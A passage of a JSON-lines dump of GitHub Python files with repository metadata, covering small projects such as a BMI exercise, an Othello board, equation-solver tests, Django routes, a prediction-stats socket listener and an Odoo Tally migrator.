[\"Adventure\",\"Animation\",\"Children\",\"Comedy\",\"Fantasy\",\"Romance\",\"Drama\",\"Action\",\"Crime\",\"Thriller\",\n                    \"Horror\",\"Mystery\",\"Sci-Fi\",\"IMAX\",\"War\",\"Musical\",\"Documentary\",\"Western\",\"Film-Noir\"]:\n            if reco[genre][id]:\n                genres.append(genre)\n        overview = reco[\"overview\"][id]\n        image_path = reco[\"image_path\"][id]\n\n        \n        metadata[id][\"movie_Year\"] = year\n        metadata[id][\"title\"] = title\n        metadata[id][\"mean_rating\"] = mean_rating\n        metadata[id][\"genres\"] = genres\n        metadata[id][\"overview\"] = overview\n        metadata[id][\"image_path\"] = image_path\n    return metadata\n    \n\n    \n\nif __name__==\"__main__\":\n    data = pd.read_csv(\"data/movie.csv\")\n    pprint(get_metadata_content(435,data))","repo_name":"Brice-Vergnou/movie_recommendation","sub_path":"content_model.py","file_name":"content_model.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"15993366180","text":"peso = 0\nalt = 0\n\nwhile True:\n    peso = float(input('Entre com o seu peso: '))\n    if peso < 0:\n        print('\\033[1;31mERRO! Peso inválido!\\033[m')\n    else:\n        break\n\nwhile True:\n    alt = float(input('Entre com a sua altura: '))\n    if alt < 0:\n        print('\\033[1;31mERRO! Altura inválida!\\033[m')\n    else:\n        break\nprint()\nif (peso / (alt**2)) < 18.5:\n    print('Você está \\033[1;31mABAIXO DO PESO\\033[m')\nelif (peso / (alt**2)) < 25:\n    print('Você está com \\033[1;32mPESO IDEAL\\033[m')\nelif (peso / (alt**2)) < 30:\n    print('Você está com \\033[1;33mSOBREPESO\\033[m')\nelif (peso / (alt**2)) < 40:\n    print('Você está com \\033[1;34mOBESIDADE\\033[m')\nelse:\n    print('Você está com \\033[1;35mOBESIDADE MÓRBIDA\\033[m')\n","repo_name":"IgorPereira1997/CursoEmVideoPython","sub_path":"ExerciciosPython/ex043.py","file_name":"ex043.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10455904252","text":"#!/usr/bin/env python3\n\n\"\"\"\nMaxSMT unit-test.\n\"\"\"\n\n###\n### SETUP PATHS\n###\n\nimport os\nimport sys\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nINCLUDE_DIR = os.path.join(BASE_DIR, '..', 'include')\nLIB_DIR = os.path.join(BASE_DIR, '..', 'lib')\nsys.path.append(INCLUDE_DIR)\nsys.path.append(LIB_DIR)\n\n################################################################################\n################################################################################\n################################################################################\n\nfrom wrapper import * # pylint: disable=unused-wildcard-import,wildcard-import\n\n###\n### DATA\n###\n\nOPTIONS = {\n    \"opt.maxsmt_engine\" : \"maxres\",\n    \"model_generation\"  : \"true\",\n}\n\nDECLS = {\n    \"bool\" : (),            # (name, ...)\n    \"int\"  : (\"x\", \"y\"),    # (name, ...)\n    \"rational\" : (),        # (name, ...)\n    \"bv\" : (),              # ((name, width), ... )\n    \"fp\" : ()               # ((name, ebits, sbits), ... )\n}\n\nHARD = [\n    \"(= x (- y))\"\n]\n\nSOFT = {\n    \"goal\" : (\n        (\"(< x 0)\", \"1\"),\n        (\"(< x y)\", \"1\"),\n        (\"(< y 0)\", \"1\")\n    )\n}\n\n###\n### MAXSMT UNIT-TEST\n###\n\nwith create_config(OPTIONS) as cfg:\n    with create_env(cfg) as env:\n\n        make_all_vars(env, DECLS)\n        assert_string_formulas(env, HARD)\n        assert_string_soft_formulas_dict(env, SOFT)\n\n        with create_minimize(env, \"goal\") as obj:\n\n            assert_objective(env, obj)\n            solve(env)\n            get_objectives_pretty(env)\n\n#\n## EXPECTED OUTPUT\n#\n# sat\n# (objectives\n#   (goal 1)\n# )\n","repo_name":"PatrickTrentin88/omt_python_examples","sub_path":"unit-tests/maxsmt.py","file_name":"maxsmt.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"41688708775","text":"'''\nThis class contains unit testing to graphics functions\n'''\n\nimport graphics\nimport unittest\n\nclass MyTest(unittest.TestCase):\n    try:\n        files = graphics.get_files('images')\n        img = graphics.get_img(files[0])\n        dimensions = graphics.get_shape(img)\n    except:\n        print('Error: Wrong path or no image files')\n        img = None\n\n    def test_get_shape(self):\n        self.assertEqual(self.img.shape[0:2],graphics.get_shape(self.img))\n\n    def test_resize_image(self):\n        self.dimensions = graphics.get_shape(self.img)\n        percentage = 10\n        new_dimensions = (int(percentage * self.dimensions[0]/100), int(percentage * self.dimensions[1]/100))\n        self.assertEqual(new_dimensions, graphics.get_shape(graphics.resize_image(self.img, percentage)))\n\n    def test_resize_poster(self):\n        top_left = (0,0)\n        bot_right = (10,10)\n        self.assertEqual(bot_right[0]-top_left[0], min(graphics.get_shape(graphics.resize_poster(self.img, top_left, bot_right))))\n\n    def test_pixel_diff(self):\n        self.assertEqual((10,15), graphics.pixel_diff(5, 15, 5))\n        self.assertEqual((0, 15), graphics.pixel_diff(0, 10, 15))\n\n    def test_set_coords(self):\n        index = 0\n        top_left = (0, 0)\n        bot_right = (10, 10)\n        dim1 = 640\n        dim2 = 480\n        diff = 5\n        self.assertEqual((0, 10, 0, 12),graphics.set_coords(index, top_left, bot_right, dim1, dim2, diff))\n\nif __name__ == '__main__':\n    unittest.main()","repo_name":"p990r/markerbasedar","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38905911846","text":"import itertools\nimport copy\n\nUS = 1\nTHEM = -1\n\ndirections = list(itertools.product(range(-1, 2), range(-1, 2)))\ndirections.remove((0, 0))\n\ndef add_direction(src, direction):\n    return (src[0] + direction[0], src[1] + direction[1])\n\nclass Board:\n    def __init__(self, source):\n        self.contents = copy.deepcopy(source)\n        self.all_tiles = list(itertools.product(range(8), range(8)))\n    \n    def get_tile_at(self, pos):\n        x, y = pos\n        return self.contents[x][y]\n\n    def set_tile_at(self, pos, value):\n        x, y = pos\n        self.contents[x][y] = value\n\n    def in_bounds(self, v):\n        return v in range(0, 8)\n    \n    def get_flipped_tiles(self, player, x, y):\n        opponent = -player\n\n        flipped_tiles = []\n\n        for d in directions:\n            first = True\n            focus = (x, y)\n            found_end = False\n            path = []\n\n            while (self.get_tile_at(focus) == opponent) or first:\n                first = False\n\n                focus = add_direction(focus, d)\n\n                if (not self.in_bounds(focus[0])) or (not self.in_bounds(focus[1])):\n                    break\n\n                if self.get_tile_at(focus) == player:\n                    found_end = True\n                    break\n                elif self.get_tile_at(focus) == opponent:\n                    path.append(focus)\n\n            if found_end:\n                flipped_tiles += path\n        \n        return flipped_tiles\n\n    def check_legal(self, player, move):\n        if self.get_tile_at(move) == 0:\n            flipped_tiles = self.get_flipped_tiles(player, *move)\n            return len(flipped_tiles) > 0\n        else:\n            return False\n\n    def get_legal_moves(self, player):\n        moves = []\n        for tile in self.all_tiles:\n            if self.check_legal(player, tile):\n                moves.append(tile)\n        return moves\n\n    def flip_tiles(self, tiles):\n        for t in tiles:\n            self.set_tile_at(t, -self.get_tile_at(t))\n\n    def put_move(self, player, move):\n        if self.check_legal(player, move):\n            self.flip_tiles(self.get_flipped_tiles(player, *move))\n\n    def with_move(self, player, move):\n        if self.check_legal(player, move):\n            new_board = Board(self.contents)\n            new_board.put_move(player, move)\n            return new_board\n        else:\n            return None\n","repo_name":"henrymwestfall/codekata-othello-python-sample-client","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72002803940","text":"# 303. Range Sum Query - Immutable\n\nclass NumArray:\n\n#     def __init__(self, nums: List[int]):\n#         self.array = nums\n\n#     def sumRange(self, left: int, right: int) -> int:\n#         sumR = 0\n#         for i in range(left, right + 1):\n#             sumR += self.array[i]\n#         return sumR\n\n# improved\n# Reference\n# https://leetcode.com/problems/range-sum-query-immutable/discuss/597654/Easy-to-Understand-or-Faster-or-Simple-or-Python-Solution\n\n    def __init__(self, nums: List[int]):\n        self.sum = []\n        sum_till = 0\n        for i in nums:\n            sum_till += i\n            self.sum.append(sum_till)\n\n    def sumRange(self, left: int, right: int) -> int:\n        if left > 0 and right > 0:\n            return self.sum[right] - self.sum[left - 1]\n        else:\n            return self.sum[left or right]\n\n# Your NumArray object will be instantiated and called as such:\n# obj = NumArray(nums)\n# param_1 = obj.sumRange(left,right)","repo_name":"YukiT1990/Leetcode","sub_path":"71_RangeSumQuery-Immutable(303).py","file_name":"71_RangeSumQuery-Immutable(303).py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22796736639","text":"\"\"\"\nURL configuration for book_reviews project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom django.http import HttpResponse\nfrom .views import (\n    BookList,\n    ReviewList,\n    UserList,\n    BookDetail,\n    ReviewDetail,\n    UserDetail,\n    AuthorList,\n    AuthorDetail,\n)\n\n\ndef index(request):\n    return HttpResponse(\"Nothing to see here\", status=200)\n\n\n\nurlpatterns = [\n    path(\"\", index),\n    path(\"books\", BookList.as_view()),\n    path(\"books/<int:pk>\", BookDetail.as_view()),\n    path(\"reviews\", ReviewList.as_view()),\n    path(\"reviews/<int:pk>\", ReviewDetail.as_view()),\n    path(\"users\", UserList.as_view()),\n    path(\"users/<int:pk>\", UserDetail.as_view()),\n    path(\"authors\", AuthorList.as_view()),\n    path(\"authors/<int:pk>\", AuthorDetail.as_view()),  \n]\n","repo_name":"xRumax/PSI2024","sub_path":"src/book_reviews/book_reviews/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28401106846","text":"#!/usr/bin/env python3\n'''\nListens for prediction data being sent from the real-time analytics model.\n'''\nimport time\nimport pprint\nimport socket\nfrom queue import Queue\nfrom threading import Thread\n\nDATA_QUEUE  = Queue()\nMODEL_STATS = {'true_neg': 0, 'true_pos': 0, 'false_neg': 0, 'false_pos': 0}\n\ndef getAccuracy(correct, total):\n    if not correct or not total: return 0\n    return correct / total\n\ndef getSensitivity(tp, fn):\n    if not tp or not fn: return 0\n    return tp / (tp + fn)\n\ndef getSpecificity(tn, fp):\n    if not tn or not fp: return 0\n    return tn / (tn + fp)\n\ndef establishSocket():\n    '''Establishes a socket to listen on.'''\n    # Create the socket\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    bound = False\n    while not bound:\n        try:\n            time.sleep(1)\n            sock.bind(('localhost', 10025))\n            bound = True\n        except OSError: pass\n    sock.listen(500)\n    conn, addr = sock.accept()\n    return conn\n\ndef receiveData():\n    '''Receives the incoming data from the real-time model and appends the\n    data to a queue to be processed.'''\n    conn = establishSocket()\n    while True:\n        data = conn.recv(1024)\n        if not data:\n            conn = establishSocket()\n        else:\n            data = data.decode().split('X')\n            for pkt in data:\n                if pkt:\n                    try:\n                        DATA_QUEUE.put((int(pkt[0]), int(pkt[2])))\n                    except (ValueError, IndexError):\n                        pass\n\ndef processQueue():\n    '''Processes the data in the queue.'''\n    while True:\n        if not DATA_QUEUE.empty():\n            pred = DATA_QUEUE.get()\n            if not pred[0] and not pred[1]:\n                MODEL_STATS['true_neg'] += 1\n            elif pred[0] and pred[1]:\n                MODEL_STATS['true_pos'] += 1\n            elif not pred[0] and pred[1]:\n                MODEL_STATS['false_pos'] += 1\n            elif pred[0] and not pred[1]:\n                MODEL_STATS['false_neg'] += 1\n            DATA_QUEUE.task_done()\n        else: time.sleep(2)\n\ndef printStats():\n    '''Prints the model statistic tally every 10 seconds.'''\n    while True:\n        time.sleep(15)\n        tot = 0\n        for i in MODEL_STATS.keys(): tot = tot + MODEL_STATS[i]\n        acc = getAccuracy(MODEL_STATS[\"true_neg\"] + MODEL_STATS[\"true_pos\"],\n            tot)\n        sens = getSensitivity(MODEL_STATS[\"true_pos\"], MODEL_STATS[\"false_neg\"])\n        spec = getSpecificity(MODEL_STATS[\"true_neg\"], MODEL_STATS[\"false_pos\"])\n        print(f'''\n        ------------\n        Running Totals:\n        ------------\n        True Negs.  : {MODEL_STATS[\"true_neg\"]}\n        True Pos.   : {MODEL_STATS[\"true_pos\"]}\n        False Pos.  : {MODEL_STATS[\"false_pos\"]}\n        False Negs. : {MODEL_STATS[\"false_neg\"]}\n        Total       : {tot}\n        ------------\n        Stats:\n        ------------\n        Accuracy    : {acc}\n        Sensitivity : {sens}\n        Specificity : {spec}\n        \\n\n        ''')\n\nif __name__ == '__main__':\n    # Create threads for each task\n    threads = []\n    thr     = Thread(target=receiveData)\n    threads.append(thr)\n    thr.start()\n    thr     = Thread(target=processQueue)\n    threads.append(thr)\n    thr.start()\n    thr     = Thread(target=printStats)\n    threads.append(thr)\n    thr.start()\n    for thread in threads: thread.join()\n","repo_name":"moosejaw/ct6045-assignment","sub_path":"rta_listener.py","file_name":"rta_listener.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28918603579","text":"#!/usr/bin/env python\n# coding: utf8\n# Author: Tong ZHAO\n\nimport numpy as np\n\ndef sim2_log(mat, theta = None):\n    \"\"\"From SIM(2) to sim(2) by applying logarithmic map\n\n    Params:\n        mat    (np.array): transformation matrix of size 3 x 3\n        theta  (float)   : if theta is known, it will not be re-calculated\n    Returns:\n        log_mat (np.array): an element in sim(2) of size 4 x 1\n    \"\"\"\n    \n    log_mat = np.zeros((4,))\n    \n    if theta is  None:\n        theta = np.arccos(mat[0, 0])\n        sign = 1 if mat[1, 0] > 0 else -1\n        theta = (theta * sign) % (2 * np.pi)\n        \n    log_mat[2] = theta\n    \n    param_a = theta * mat[1, 0] / np.clip(2 * (1 - mat[0, 0]), 1e-6, None)\n    param_b = theta / 2\n    \n    log_mat[0] = param_a * mat[0, 2] + param_b * mat[1, 2]\n    log_mat[1] = param_a * mat[1, 2] - param_b * mat[0, 2]\n\n    log_mat[3] = np.log(mat[2, 2])\n    \n    return log_mat\n\n\ndef sim2_exp(log_mat):\n    \"\"\"From sim(2) to SIM(2) by applying exponential map\n\n    Params:\n        log_mat (np.array): an element in sim(2) of size 4 x 1\n    Returns:\n        mat (np.array): an element in SIM(2) of size 3 x 3\n    \"\"\"\n    \n    \n    mat = np.zeros((3, 3))\n    \n    theta = log_mat[2]\n    mat[0, 0] = np.cos(theta)\n    mat[0, 1] = -np.sin(theta)\n    mat[1, 0] = np.sin(theta)\n    mat[1, 1] = np.cos(theta)\n    \n    mat[2, 2] = np.exp(log_mat[3])\n    \n    param_a = mat[1, 0] / theta\n    param_b = (1 - mat[1, 1]) / theta\n    mat[0, 2] = param_a * log_mat[0] - param_b * log_mat[1]\n    mat[1, 2] = param_b * log_mat[0] + param_a * log_mat[1]\n\n    return mat\n\n\ndef transform_embedding(lT):\n    \"\"\"Map a list of elements in SIM(2) to sim(2)\n\n    Params:\n        lT (list[np.array]): elements in SIM(2)\n    Returns:\n        lT_log (list[np.array]): corresponding elements in sim(2)\n    \"\"\"\n\n    lT_log = np.zeros((len(lT), 4))\n\n    for i in range(len(lT)):\n        lT_log[i] = sim2_log(lT[i])\n\n    return lT_log","repo_name":"Tong-ZHAO/Symmetry_orbit_detection","sub_path":"2D_python/src/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"12605701140","text":"import unittest\nfrom equation_solver import solve_linear_equation, linear_equation_func\n\n\nclass SolveLinearEquationTests(unittest.TestCase):\n\n    def test_positive_linear_equation(self):\n        # Test a positive equation\n        equation = \"2x + 3 = 7\"\n        expected_steps = [\n            \"Original equation: 2x + 3 = 7 \\n\",\n            \"Subtract 3.00 from both sides:\\n\",\n            \"2.00x + 3.00 - 3.00 = 7.00 - 3.00\\n\",\n            \"Simplify the equation \\n\",\n            \"2.00x = 4.00\\n\",\n            \"Dividing both sides by 2.0:\\n\",\n            \"2.00x / 2.00 = 4.00 / 2.00 \\n\",\n            \"The answer is...\",\n            \"x = 2.00\"\n        ]\n        self.assertEqual(solve_linear_equation(equation), 2)\n\n    def test_negative_linear_equation(self):\n        # Test an equation with no constant term\n        equation = \"3x - 2 = 7\"\n        expected_steps = [\n            \"Original equation: 3x - 2 = 7 \\n\",\n            \"Add 2.00 to both sides:\\n\",\n            \"3.00x - 2.00 + 2.00 = 7.00 + 2.00\\n\",\n            \"Simplify the equation \\n\",\n            \"3.00x = 9.00\\n\",\n            \"Dividing both sides by 3.0:\\n\",\n            \"3.00x / 3.00 = 9.00 / 3.00 \\n\",\n            \"The answer is...\",\n            \"x = 3.00\"\n        ]\n        self.assertEqual(solve_linear_equation(equation), 3)\n\n    def test_decimals_linear_equation(self):\n        # Test an equation with decimals\n        equation = \"2.5x + 3.5 = 7.5\"\n        expected_steps = [\n            \"Original equation: 2.5x + 3.5 = 7.5 \\n\",\n            \"Subtract 3.50 from both sides:\\n\",\n            \"2.50x + 3.50 - 3.50 = 7.50 - 3.50\\n\",\n            \"Simplify the equation \\n\",\n            \"2.50x = 4.00\\n\",\n            \"Dividing both sides by 2.5:\\n\",\n            \"2.50x / 2.50 = 4.00 / 2.50 \\n\",\n            \"The answer is...\",\n            \"x = 1.60\"\n        ]\n        self.assertEqual(solve_linear_equation(equation), 1.6)\n\n    def test_negative_decimals_linear_equation(self):\n        # Test an equation with decimals\n        equation = \"2.5x - 3.5 = 7.5\"\n        expected_steps = [\n            \"Original equation: 2.5x - 3.5 = 7.5 \\n\",\n            \"Add 3.50 to both sides:\\n\",\n            \"2.50x - 3.50 + 3.50 = 7.50 + 3.50\\n\",\n            \"Simplify the equation \\n\",\n            \"2.50x = 11.00\\n\",\n            \"Dividing both sides by 2.5:\\n\",\n            \"2.50x / 2.50 = 11.00 / 2.50 \\n\",\n            \"The answer is...\",\n            \"x = 4.40\"\n        ]\n        self.assertEqual(solve_linear_equation(equation), 4.4)\n\n    def test_negative_coefficients_linear_equation(self):\n        # Test an equation with negative coefficients\n        equation = \"-2x - 3 = 7\"\n        expected_steps = [\n            \"Original equation: -2x - 3 = 7 \\n\",\n            \"Add 3.00 to both sides:\\n\",\n            \"-2.00x - 3.00 + 3.00 = 7.00 + 3.00\\n\",\n            \"Simplify the equation \\n\",\n            \"-2.00x = 10.00\\n\",\n            \"Dividing both sides by -2.0:\\n\",\n            \"-2.00x / -2.00 = 10.00 / -2.00 \\n\",\n            \"The answer is...\",\n            \"x = -5.00\"\n        ]\n        self.assertEqual(solve_linear_equation(equation), -5)\n\n    def test_invalid_input(self):\n        # Test an invalid input that should raise an error\n        equation = \"2x + = 10\"\n        with self.assertRaises(Exception):\n            solve_linear_equation(equation)\n    \n\nclass LinearEquationFuncTest(unittest.TestCase):\n    \n    def test_valid_linear_equation_func(self):\n        # Test a valid equation\n        equation = \"2(4x + 3) + 6 = 24 - 4x\"\n        expected_steps = [\n            \"First, expand the bracket... \",\n            \"(4.0x * 2.0) + (3.0 * 2.0) + 6.0 = 24.0 - 4.0x \\n\",\n            \"Simplify the equation...\",\n            \"8.0x + 6.0 + 6.0 = 24.0 - 4.0x \\n\",\n            \"Further simplify the equation...\",\n            \"8.0x + 12.0 = 24.0 - 4.0x \\n\",\n            \"Move like terms to same side...\",\n            \"8.0x + 4.0x = 24.0 - 12.0 \\n\",\n            \"Further simplify the equation... \",\n            \"12.0x = 12.0 \\n\",\n            \"Divide both side by 12.0 \",\n            \"12.0x / 12.0 = 12.0 / 12.0 \\n\",\n            \"Finally, the answer is...\",\n            \"x = 1.00\"\n        ]\n        assert linear_equation_func(equation) == \"x = 1.0\"\n\n    def test_invalid_linear_equation_func_2(self):\n        # Test invalid equation\n        equation = \"2(3x + 5) +  = 8 - 4x\"\n        assert linear_equation_func(equation) == None\n\n    def test_valid_linear_decimal_equation_func(self):\n        # Test decimal equation\n        equation = \"2(4.5x + 3.5) + 6.5 = 24.5 - 4.5x\"\n        expected_steps = [\n            \"First, expand the bracket... \",\n            \"(4.5x * 2.0) + (3.5 * 2.0) + 6.5 = 24.5 - 4.5x \\n\",\n            \"Simplify the equation...\",\n            \"9.0x + 7.0 + 6.5 = 24.5 - 4.5x \\n\",\n            \"Further simplify the equation...\",\n            \"9.0x + 13.5 = 24.5 - 4.5x \\n\",\n            \"Move like terms to same side...\",\n            \"9.0x + 4.5x = 24.5 - 13.5 \\n\",\n            \"Further simplify the equation... \",\n            \"13.5x = 11.0 \\n\",\n            \"Divide both side by 13.5 \",\n            \"13.5x / 13.5 = 11.0 / 13.5 \\n\",\n            \"Finally, the answer is...\",\n            \"x = 0.8148148148148148\"\n        ]\n        assert linear_equation_func(equation) == \"x = 0.8148148148148148\"\n\n    def test_valid_linear_negative_equation_func(self):\n        # Test valid negative equation func\n        equation = \"2(4x - 3) + 6 = 24 - 4x\"\n        expected_steps = [\n            \"First, expand the bracket... \",\n            \"(4.0x * 2.0) + (-3.0 * 2.0) + 6.0 = 24.0 - 4.0x \\n\",\n            \"Simplify the equation...\",\n            \"8.0x - 6.0 + 6.0 = 24.0 - 4.0x \\n\",\n            \"Further simplify the equation...\",\n            \"8.0x - 0.0 = 24.0 - 4.0x \\n\",\n            \"Move like terms to same side...\",\n            \"8.0x + 4.0x = 24.0 - 0.0 \\n\",\n            \"Further simplify the equation... \",\n            \"12.0x = 24.0 \\n\",\n            \"Divide both side by 12.0 \",\n            \"12.0x / 12.0 = 24.0 / 12.0 \\n\",\n            \"Finally, the answer is...\",\n            \"x = 2.00\"\n        ]\n        assert linear_equation_func(equation) == \"x = 2.0\"\n","repo_name":"Oluwatemmy/Foondamate-Coding-Challenge","sub_path":"tests/test_function.py","file_name":"test_function.py","file_ext":"py","file_size_in_byte":6112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40417022113","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\n\ndef make_data_splits(cur_data):\n    X_train_list, X_test_list = [], []\n    y_train_list, y_test_list = [], []\n\n    X_predictor_list, X_corrector_list = [], []\n    y_predictor_list, y_corrector_list = [], []\n\n    for cur_row in cur_data.itertuples():\n        print(cur_row.name)\n        work_data = cur_row.rentals.copy()\n\n        cur_stratify = pd.merge(\n            pd.qcut(np.log10(work_data[\"price\"]), 12, labels=False),\n            pd.qcut(work_data[\"weight\"], 6, labels=False),\n            left_index=True, right_index=True\n        )\n\n        X_train, X_test, y_train, y_test = train_test_split(\n            work_data.drop(columns=\"price\"), work_data[\"price\"],\n            stratify=cur_stratify, test_size=0.2, random_state=42\n        )\n\n        X_predictor, X_corrector, y_predictor, y_corrector = train_test_split(\n            X_train, y_train, test_size=0.25, random_state=42,\n            stratify=cur_stratify.loc[y_train.index]\n        )\n\n        X_train_list.append(X_train)\n        X_test_list.append(X_test)\n        y_train_list.append(y_train)\n        y_test_list.append(y_test)\n\n        X_predictor_list.append(X_predictor)\n        X_corrector_list.append(X_corrector)\n        y_predictor_list.append(y_predictor)\n        y_corrector_list.append(y_corrector)\n\n    cur_data[\"X_train\"] = X_train_list\n    cur_data[\"X_test\"] = X_test_list\n    cur_data[\"y_train\"] = y_train_list\n    cur_data[\"y_test\"] = y_test_list\n\n    cur_data[\"X_predictor\"] = X_predictor_list\n    cur_data[\"X_corrector\"] = X_corrector_list\n    cur_data[\"y_predictor\"] = y_predictor_list\n    cur_data[\"y_corrector\"] = y_corrector_list\n","repo_name":"djsegal/pad_pricer","sub_path":"src/make_data_splits.py","file_name":"make_data_splits.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"75174527780","text":"import re\n\ninput_file = [\"input.txt\", \"test_input.txt\"]\n\ndata = []\nwith open(input_file[0], \"r\") as file:\n    for line in file:\n        temp = line.strip()\n        data.append(temp)\n\ncounter = 0\nfor point in data:\n    point = re.split(\"\\s+\",point.split(\"|\")[1][1:])\n\n    for seg in point:\n        if len(seg) in [2,4,3,7]:\n            counter +=1\n\nprint(counter)","repo_name":"Firestarss/AdventOfCode","sub_path":"Years/2021/Day08/p1_solve.py","file_name":"p1_solve.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36755361833","text":"import sys\nfrom odoo import api, exceptions, fields, models, _\nfrom . import stock\nfrom . import ledgers\nimport json\n\nclass migrator(models.Model):\n    \n#     def getPoolObj(self, cr):\n#         return pooler.get_pool(cr.dbname)\n\n    def getAccountObj(self):\n        account = self.env['account.account']\n        acc_type = self.env['account.account.type']\n        return account, acc_type\n\n    def getStockObj(self, pool):\n        uom = pool.get('product.uom')\n        prod = pool.get('product.product')\n        prodCat = pool.get('product.category')\n        currency = pool.get('res.currency')\n        return uom, prod, prodCat, currency\n\n    def getStockLocationObj(self, pool):\n        return pool.get('stock.location')\n    \n    def getEmployeeObj(self,pool):\n        return pool.get('hr.employee')\n\n    def insertData(self,com, tallyData):\n        print(\"Inserted in INSERT DATA====================\")\n        a = tallyData\n        print('Tally Data@@@@@@@@@@',tallyData)\n        account = self.env['account.account']\n        acc_type = self.env['account.account.type']\n        prodCatObj = self.env['product.category']\n        uomObj = self.env['product.uom']\n        prodObj = self.env['product.product']\n        godownObj = self.env['stock.location']\n\n\n        print(\"tallyu dayataaaaaaaaaaaaaa\", tallyData)\n        \n#         print(json.dumps(tallyData, indent=4, sort_keys=True))\n#         print(tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\"))\n        \n        \n        if tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\"):\n            l = len(tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\"))\n            print('L value=========',l)\n            \n            dic = {}\n        \n            if l<=0:\n                pass\n            \n            elif l<2:  #for single record [TALLYMESSAGE] is dictionary.\n                k = list(tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\").keys())\n\n#~~                 k1 = tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\")['UNIT']\n                print('K Value============',k)\n#~                 dic = k1\n                if (k=='GROUP' or k=='LEDGER'):\n                    if dic.get('NAME') and dic['NAME']:\n                        obj_ledgers = self.env['ledgers'].insertRecords(dic,com, account, acc_type)\n                elif (k[0]=='UNIT'):\n                    print('Pre Entered')\n                    k1 = tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\")['UNIT']\n                    dic = k1\n                    #jatin Changed for extra arguments\n                    obj_stock = self.env['stock'].insertUnits(dic)\n                    #end jatin\n\n                    #obj_stock.insertUnits(dic)\n                elif (k[0]=='STOCKGROUP'):\n                    k1 = tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\")['STOCKGROUP']    \n                    dic = k1\n                    obj_stock = self.env['stock']\n                    obj_stock.insertStockGroups(prodCatObj, dic)\n                elif (k[0]=='STOCKITEM'):\n                    k1 = tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\")['STOCKITEM']\n                    dic = k1\n                    obj_stock = self.env['stock']\n                    obj_stock.insertStockItems( prodObj, uomObj, prodCatObj, dic, com)\n                elif (k=='CURRENCY'):\n                    obj_stock = self.env['stock']\n                    obj_stock.insertCurrencies(currencyObj, dic, com)\n                elif (k[0]=='GODOWN'):\n                    obj_stock = self.env['stock']\n                    k1 = tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\")['GODOWN']\n                    dic = k1\n                    \n                    obj_stock.insertGodowns( godownObj, dic, com)\n                elif (k=='COSTCENTRE'):\n                    obj_employee = employee.employee()\n                    obj_employee.insertEmployees(empObj, dic, com)\n                # print('ledger_count==============================================',ledger_count)\n\n            else:    #for multiple records [TALLYMESSAGE] is list of dictionaries.\n                for i  in tallyData.get(\"BODY\").get(\"IMPORTDATA\").get(\"REQUESTDATA\").get(\"TALLYMESSAGE\"):\n#                     print(i,\"++++++++++++++++++++\")\n                    for k , k2 in i.items():\n#                         print('K Multi Valu+++e========',k)\n#                         print('K Value============',k)\n#                         print('K2 Value========',k2)\n                        dic = k2\n\n                        if (k=='GROUP' or k=='LEDGER'):        \n                            if dic.get('NAME') and dic['NAME']:\n                                obj_ledgers = self.env['ledgers'].insertRecords(dic,com, account, acc_type)\n                        elif (k=='UNIT'):\n                            print('Multi Entered===========')\n                            obj_stock = self.env['stock'].insertUnits(dic)\n                            print(\"k2================================\",k2)\n    #                         